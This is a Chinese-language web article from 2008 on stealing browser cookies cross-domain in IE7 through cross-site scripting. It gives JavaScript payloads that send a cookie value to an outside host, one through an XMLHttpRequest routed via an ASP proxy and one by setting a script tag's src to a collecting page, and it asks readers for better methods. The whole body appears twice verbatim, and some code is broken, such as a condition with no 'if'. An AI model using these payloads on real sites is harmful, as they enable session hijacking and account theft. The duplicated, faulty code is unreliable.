ie7下利用ajax跨域盜取cookie的解決辦法
更新時間:2008年07月09日 22:57:15 作者:
網(wǎng)上的很多文章提到的利用ajax盜取cookie的代碼經(jīng)我測試不可行。
研究了一下午,第一個難題是ajax跨域提交數(shù)據(jù),可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把alert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把alert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
相關(guān)文章
基于iframe實現(xiàn)ajax跨域請求 獲取網(wǎng)頁中ajax數(shù)據(jù)
這篇文章主要介紹了基于iframe實現(xiàn)ajax跨域請求,并獲取網(wǎng)頁中ajax數(shù)據(jù),如何利用網(wǎng)頁ajax請求暴露出來的接口去抓取網(wǎng)頁數(shù)據(jù)?需要的朋友可以參考下2016-01-01ASP+AJAX+ACCESS數(shù)據(jù)庫實例講解三個步驟分享
其實說起AJAX的初級應(yīng)用是非常簡單的,通俗的說就是客戶端(javascript)與服務(wù)端(asp或php等)腳本語言的數(shù)據(jù)交互2012-07-07Jquery Ajax請求文件下載操作失敗的原因分析及解決辦法
jQuery確實是一個挺好的輕量級的JS框架,能幫助我們快速的開發(fā)JS應(yīng)用,并在一定程度上改變了我們寫JavaScript代碼的習(xí)慣,本文重點給大家介紹Jquery Ajax請求文件下載操作失敗的原因分析及解決辦法,對ajax請求失敗的原因分析感興趣的朋友一起學(xué)習(xí)把2015-11-11